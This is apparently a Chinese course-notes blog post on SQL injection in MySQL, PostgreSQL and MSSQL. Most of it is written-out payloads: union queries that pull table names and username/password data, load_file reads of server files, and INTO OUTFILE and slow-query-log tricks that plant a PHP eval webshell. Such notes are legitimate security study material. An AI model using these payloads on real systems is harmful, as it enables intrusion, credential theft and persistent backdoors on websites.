当前位置: 首页 > article >正文

第25天:web攻防-通用漏洞sql读写注入MYSQLMSSQL

#知识点:

1、sql注入-mysql数据库

2、sql注入-mssql数据库

3、sql注入-postgreSQL数据库

#详细点:

Access无高权限注入点-只能猜解,还是暴力猜解

MYSQL,PostgreSQL,MSSQL高权限注入,可升级为读写执行。

演示案例MYSQL

读取文件内容,记把my.ini改成utf-8的格式

使用load_file读取网站关键性内容,在sql注入中,我试了读取不道,明明在数据库可以读到,对了,能读取到,前面1没有改,应该是优先读取1的值,把1改成不存在的值,就会显示后面语句执行的结果

错误

正确

在注入过程中会读取哪些文件

读取网站的数据库配置文件等在网站找一写默认配置文件的地址,一些有价值的文件

参考 网站配置文件 默认路径

into outfile的语法格式

SELECT ... INTO OUTFILE 'file_name' fields terminated by 'char';

这里测试发现(注意一定要关闭杀毒软件

使用这条命令可以写进文件

1')) union select 1,'<?php @eval($_POST["a"]) ?>',3 into outfile 'D://test//6666.php'--+

这条命令不行

1')) union select 1,'<?php @eval($_POST['admin'])>',3 into outfile 'D://test//666.php'--+

好像是单双引号的问题,我也不清楚

-读取文件:
UNION SELECT 1,load file('d:/wtxt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

写入文件:
UNION SELECT 1,'xxxx' 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'
-路径获取:phpinfo,报错,字典等
无法写入:secure_file_priv突破 注入中需要支持sql执行环境,没有就需要借助

phpmyadmin或能够直接连上对方数据库进行绕过


set global slow_query_log=1;
set global slow_query log file='shell路径'
select '<?php eval($ GET[A])?>' or SLEEP(11);

 如果限制secure-file(注意改了这个secure,要重启phpstudy才生效)

set global slow_query log file='shell路径'(shell路径需要在前期知道目标网站的绝对路径)

使用命令select '<?php eval($_GET[A])?>' or SLEEP(11);

PostgreSQL-高权限读写注入(搭建)

,以下代码来源第25天:WEB攻防-通用漏洞&SQL读写注入&MYSQL&MSSQL&PostgreSQL - 解放者-cracer - 博客园 (cnblogs.com)

PostgreSQL高权限注入
-测列数:
order by 4
and 1=2 union select null,null,null,null

-测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误

-获取信息:
and 1=2 UNION SELECT null,version(),null,nulland 1=2 UNION SELECT null,current_user,null,null
and 1=2 union select null,current_database(),null,null

-获取数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database

-获取表名:
1、and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2、and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

-获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

-获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

参考:https://www.freebuf.com/sectool/249371.html-补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE

sqlserver高权限注入(组合iis+asp+sqlserver)

-测列数:
order by 4
and 1=2 union all select null,null,null,null
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null
-获取信息:
@@version 获取版本信息
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null
-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
-获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
• -获取数据:
and 1=2 union all select null,username, password ,null from manage

没有环境就没有演示了


http://www.kler.cn/news/336544.html

相关文章:

  • rpm安装RabbitMQ3.13.7
  • SparkSubmit进程无法强制kill掉以及Flink相关error
  • 【教学类-77-02】20241006青花瓷纹理纸(手工)
  • 十万人正在看的国庆假期
  • Vue3轻松实现导出Excel文件功能
  • Elasticsearch基础_4.ES搜索功能
  • 10.6学习
  • 实验 | 使用本地大模型从论文PDF中提取结构化信息
  • 国庆day5
  • 【社保通-注册安全分析报告-滑动验证加载不正常导致安全隐患】
  • 解决java: 无法访问java.lang.Record
  • 设计模式 - 创建型模式 上(C++版)
  • OJ在线评测系统 微服务技术入门 单体项目改造为微服务 用Redis改造单机分布式锁登录
  • 一个项目javaweb项目如何debug
  • 【2023工业3D异常检测文献】CPMF: 基于手工制作PCD描述符和深度学习IAD结合的AD方法
  • AutoGen框架进行多智能体协作—AI Agentic Design Patterns with AutoGen(一)
  • Vue - 打包部署
  • 将excel导入SQL数据库
  • 三菱FX3UPLC定位模式介绍
  • postgresql|数据库|postgis编译完成后的插件迁移应该如何做(postgis插件最终章)